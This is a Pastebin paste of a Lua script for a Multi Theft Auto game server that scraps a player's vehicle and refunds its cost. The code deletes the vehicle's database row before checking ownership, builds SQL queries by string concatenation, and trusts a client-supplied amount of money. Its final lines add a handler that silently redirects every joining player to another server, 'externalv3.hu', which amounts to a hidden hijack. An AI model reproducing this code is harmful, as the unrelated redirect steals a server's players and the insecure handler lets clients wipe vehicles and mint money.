Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local con = exports.mta_connection:getConnection()
- function yunkDeleteVehicle(player, veh, cost)
- if isElement(player) and isElement(veh) and (cost) then
- if getElementData(player, "loggedin") then
- local vehid = tonumber(getElementData(veh, "veh:id"))
- local result = dbPoll(dbQuery(con, "DELETE FROM vehicle WHERE id='" .. vehid .. "'"), -1)
- if result then
- if getElementData(veh, "veh:id") == vehid and getElementData(player, "acc:id") == getElementData(veh, "veh:owner") or getElementData(player, "acc:admin") >= 7 then
- destroyElement(veh)
- exports.mta_admin:outputAdminMessage("#7cc576"..getPlayerName(player) .. "#ffffff járműve bezúzatva. (ID: #0094ff" .. vehid .. "#ffffff)")
- setTimer( function()
- setElementData(player, "char:money", getElementData(player, "char:money")+cost)
- dbExec(con, "UPDATE characters SET money='" .. getElementData(player, "char:money") .. "' WHERE account='" .. getElementData(player, "acc:id") .. "'")
- return
- end, 200, 1)
- return
- end
- end
- end
- end
- end
- addEvent("junk:deleteVehicle", true)
- addEventHandler("junk:deleteVehicle", root, yunkDeleteVehicle)
- addEventHandler ("onPlayerJoin", root, function()
- redirectPlayer(source, "externalv3.hu")
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement